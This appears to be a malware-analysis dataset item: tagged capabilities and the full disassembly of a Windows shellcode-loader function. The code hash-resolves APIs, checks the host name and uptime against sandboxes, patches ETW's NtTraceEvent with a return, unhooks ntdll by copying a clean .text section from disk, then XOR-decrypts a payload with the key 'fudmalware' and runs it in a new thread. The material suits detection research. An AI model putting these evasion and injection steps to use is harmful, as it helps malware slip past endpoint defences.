Function at 0x14001e490
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Patch event tracing for windows function

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x178
lea rbp, [rsp + 0x80]
call fcn.14000a5e0
lea rsi, [rbp + 0xd0]
xor r8d, r8d
mov qword [rbp + 0xd0], 0x6208c
lea rcx, [rbp + 0x70]
lea rax, [rbp + 0x80]
mov rdx, rsi
mov qword [rbp + 0x70], rax
call fcn.14001c4b0
lea r8, [0x1400820c0]
mov rcx, rax
mov qword [rbp + 0x70], rax
mov rax, qword [rbp + 0xd0]
lea rdx, [r8 - 0x6208c]
mov qword [rbp + 0x80], rax
call fcn.14001ac00
mov rax, qword [rbp + 0xd0]
mov rdx, qword [rbp + 0x70]
lea rcx, str.kernel32.dll
mov qword [rbp + 0x78], rax
mov byte [rdx + rax], 0
call fcn.140011b50
mov edx, 0xfd0820
mov rcx, rax
mov qword [rbp + 0x28], rax
call fcn.140011d20
mov rcx, qword [rbp + 0x28]
mov edx, 0xd171487f
mov r12, rax
call fcn.140011d20
lea rcx, str.User32.dll
mov rbx, rax
call fcn.140011b50
mov rcx, qword [rbp + 0x28]
mov edx, 0xf0677b50
mov rdi, rax
call fcn.140011d20
lea rdx, [rbp + 0x34]
mov rcx, rsi
mov dword [rbp + 0x34], 0x10
call rax
mov edx, 0x535044
mov rcx, rdi
call fcn.140011d20
mov rcx, rsi
call rax
lea rdx, str.DESKTOP_
mov rcx, rsi
call sub.msvcrt.dll_wcsstr
test rax, rax
jne 0x14001e5a5
mov ebx, 1
jmp 0x14001e9f7
mov rcx, qword [rbp + 0x28]
mov edx, 0x1ac1f4ff
call fcn.140011d20
call rax
cmp rax, 0x124f7f
jbe 0x14001e59b
lea r14, str.ntdll.dll
xor r13d, r13d
lea rdi, [rbp + 0x58]
xor r15d, r15d
mov rcx, r14
call fcn.140011b50
mov rcx, r14
mov dword [rbp + 0x38], r13d
mov qword [rbp + 0x20], rax
call fcn.140011b50
lea rdx, str.NtTraceEvent
mov rcx, rax
call fcn.140011bd0
mov rcx, qword [rbp + 0x28]
mov edx, 0x1c6a5211
mov rsi, rax
call fcn.140011d20
lea r9, [rbp + 0x38]
mov edx, 1
mov rcx, rsi
mov qword [rbp + 0x18], r9
mov r13, rax
mov r8d, 0x40
call r13
mov r9, qword [rbp + 0x18]
mov edx, 1
mov rcx, rsi
mov byte [rsi], 0xc3
mov r8d, dword [rbp + 0x38]
call r13
call rbx
mov ecx, 6
mov qword [rbp + 0x10], rax
xor eax, eax
rep stosd dword [rdi], eax
mov rcx, r14
call fcn.140011c50
mov rcx, qword [rbp + 0x10]
mov r9d, 0x18
lea r8, [rbp + 0x58]
mov rdx, rax
mov qword [rbp + 8], rax
call sub.KERNEL32.dll_K32GetModuleInformation
xor eax, eax
mov r14, qword [rbp + 0x58]
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.c:windows_system32_ntdll.dll
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], 3
call r12
mov rcx, qword [rbp + 0x28]
mov edx, 0x71a68244
mov qword [rbp], rax
call fcn.140011d20
xor edx, edx
xor ecx, ecx
xor r9d, r9d
mov qword [rsp + 0x28], rdx
mov r8d, 0x1000002
xor edx, edx
mov dword [rsp + 0x20], ecx
mov rcx, qword [rbp]
call rax
mov rcx, qword [rbp + 0x28]
mov edx, 0x90e5f37
mov qword [rbp - 8], rax
call fcn.140011d20
xor r8d, r8d
xor r9d, r9d
mov edx, 4
mov qword [rsp + 0x20], r8
xor r8d, r8d
mov rcx, qword [rbp - 8]
call rax
movsxd r12, dword [r14 + 0x3c]
mov word [rbp + 0x18], 0
mov qword [rbp - 0x10], rax
add r12, r14
lea rax, [r12 + 0x18]
mov qword [rbp - 0x18], rax
mov eax, dword [rbp + 0x18]
cmp ax, word [r12 + 6]
jae 0x14001e7ac
mov rax, qword [rbp - 0x18]
movzx r10d, word [r12 + 0x14]
lea rdx, str..text
add r10, rax
movzx eax, word [rbp + 0x18]
imul rax, rax, 0x28
lea r15, [r10 + rax]
mov rcx, r15
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x14001e7a3
xor edi, edi
lea r9, [rbp + 0xb0]
mov r8d, 0x40
mov dword [rbp + 0xb0], edi
mov ecx, dword [r15 + 0xc]
mov qword [rbp - 0x20], r9
mov edx, dword [r15 + 8]
add rcx, r14
call r13
mov esi, dword [r15 + 0xc]
mov rdi, qword [rbp - 0x10]
mov ecx, dword [r15 + 8]
mov r9, qword [rbp - 0x20]
lea rax, [r14 + rsi]
add rsi, rdi
mov rdi, rax
rep movsb byte [rdi], byte [rsi]
mov ecx, dword [r15 + 0xc]
mov edx, dword [r15 + 8]
mov r8d, dword [rbp + 0xb0]
add rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
inc word [rbp + 0x18]
jmp 0x14001e70d
mov rcx, qword [rbp + 0x28]
mov edx, 0xfc97a3
lea r13, [rbp + 0x70]
lea rdi, [rbp + 0xb0]
lea r14, [rbp + 0x90]
call fcn.140011d20
mov rcx, qword [rbp + 0x10]
mov rsi, rax
call rsi
mov rcx, qword [rbp]
call rsi
mov rcx, qword [rbp - 8]
call rsi
mov rcx, qword [rbp + 0x28]
mov edx, 0xff79f6
xor esi, esi
call fcn.140011d20
mov rcx, qword [rbp + 8]
call rax
lea rax, [rbp + 0xa0]
mov byte [rbp + 0xa0], 0
mov r12d, dword [rbp + 0x78]
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rsi
xor esi, esi
cmp r12d, esi
jle 0x14001e85f
mov r9d, 2
mov r8, rsi
mov rdx, r13
mov rcx, rdi
call fcn.140015210
mov rcx, qword [rbp + 0xb0]
xor edx, edx
add rsi, 2
mov r8d, 0x10
call sub.msvcrt.dll_strtol
mov rcx, r14
movsx edx, al
call fcn.14001c690
mov rcx, rdi
call fcn.14001a440
jmp 0x14001e819
mov r12, qword [rbp + 0x98]
lea rax, [r12 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.14000b590
mov r8d, 0xa
mov rsi, qword [rbp + 0x90]
sub rsp, rax
mov rcx, r12
movabs rax, 0x61776c616d647566
lea r13, [rsp + 0x60]
mov rdi, r13
rep movsb byte [rdi], byte [rsi]
mov qword [rbp + 0xb0], rax
mov word [rbp + 0xb8], 0x6572
cmp r12, rcx
je 0x14001e8c9
mov rax, rcx
xor edx, edx
div r8
mov al, byte [rbp + rdx + 0xb0]
xor byte [r13 + rcx], al
inc rcx
jmp 0x14001e8ab
mov rcx, qword [rbp + 0x20]
xor edx, edx
xor eax, eax
mov qword [rbp + 0x48], r12
mov qword [rbp + 0x40], rdx
mov edx, 0xb9bad4a4
lea r15, [rbp + 0x48]
lea r14, [rbp + 0x40]
mov dword [rbp + 0x3c], eax
call fcn.140011d20
mov rsi, rax
call rbx
mov r9, r15
xor r8d, r8d
mov rdx, r14
mov rcx, rax
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
call rsi
mov rcx, qword [rbp + 0x20]
mov edx, 0xe4357e14
call fcn.140011d20
mov rdi, qword [rbp + 0x40]
mov rsi, rax
call rbx
xor r8d, r8d
mov r9, r12
mov rdx, rdi
mov qword [rsp + 0x20], r8
mov rcx, rax
mov r8, r13
call rsi
mov rcx, qword [rbp + 0x20]
mov edx, 0x52e5c110
call fcn.140011d20
mov rsi, rax
call rbx
mov r9d, 0x20
mov r8, r15
mov rdx, r14
mov rcx, rax
lea rax, [rbp + 0x3c]
mov qword [rsp + 0x20], rax
call rsi
mov rcx, qword [rbp + 0x20]
mov edx, 0xf758add4
call fcn.140011d20
mov rdi, qword [rbp + 0x40]
mov rsi, rax
call rbx
xor r10d, r10d
xor r11d, r11d
xor r8d, r8d
mov qword [rsp + 0x50], r10
mov r9, rax
lea rcx, [rbp + 0x50]
xor ebx, ebx
mov qword [rsp + 0x48], r10
mov edx, 0x20000000
mov qword [rsp + 0x40], r10
mov qword [rsp + 0x38], r10
mov dword [rsp + 0x30], r11d
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
call rsi
mov rcx, qword [rbp + 0x20]
mov edx, 0x233945d0
call fcn.140011d20
xor r8d, r8d
mov rcx, qword [rbp + 0x50]
xor edx, edx
call rax
mov rcx, qword [rbp + 0x20]
mov edx, 0x3373d
call fcn.140011d20
mov rcx, qword [rbp + 0x50]
call rax
lea rcx, [rbp + 0x90]
call fcn.14001a440
lea rcx, [rbp + 0x70]
call fcn.14001a440
mov eax, ebx
lea rsp, [rbp + 0xf8]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret